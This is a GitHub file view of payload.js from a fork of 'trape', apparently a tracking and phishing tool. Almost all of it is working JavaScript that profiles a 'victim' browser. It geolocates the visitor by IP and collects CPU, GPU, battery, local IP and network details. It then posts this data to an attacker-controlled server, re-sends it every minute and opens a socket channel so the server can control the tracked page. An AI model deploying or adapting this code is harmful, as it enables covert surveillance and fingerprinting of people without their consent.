forked from jofpin/trape
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpayload.js
More file actions
executable file
·72 lines (60 loc) · 2.08 KB
/
payload.js
File metadata and controls
executable file
·72 lines (60 loc) · 2.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
$(document).ready(function($) {
$.getJSON('//ip-api.com/json', function(data) {
var d = getVictimData();
$.extend(true, d, data);
var parser = new UAParser();
d.cpu = JSON.stringify(parser.getCPU())
.replace(/"/gi, '')
.replace(/{/gi, '')
.replace(/}/gi, '')
.replace(/:/gi, ' : ') + ' - ' + (navigator.hardwareConcurrency ? navigator.hardwareConcurrency + ' Cores' : '');
d.refer = document.location.host;
$.ajax({
url: window.serverPath + "/register",
data: d,
dataType: "json",
type: "POST",
success: function(response) {
console.log(response);
if (response.status == 'OK'){
localStorage.setItem("trape_vId", response.vId);
conChange();
queryGPU();
locateV();
tping();
detectBattery();
navigation_mode();
objUser.getIPs();
objUser.sendNetworks();
setInterval(function(){
objUser.getIPs();
objUser.sendNetworks();
}, 60000);
createSockets();
}
},
error: function(error) {}
});
});
});
function createSockets(){
if (typeof(io) != 'undefined') {
namespace = '/trape';
if (window.serverPath == ''){
socketTrape = io.connect(location.protocol + '//' + document.domain + ':' + location.port + namespace);
} else{
socketTrape = io.connect(window.serverPath + namespace);
}
}
if (socketTrape != null){
window.onbeforeunload = function(e) {
var d = getVictimData();
socketTrape.emit('disconnect_request', d);
return true;
}
}
if (socketTrape != undefined) {
socketTrape.emit('join', {room: localStorage.trape_vId});
defineSockets(socketTrape);
}
}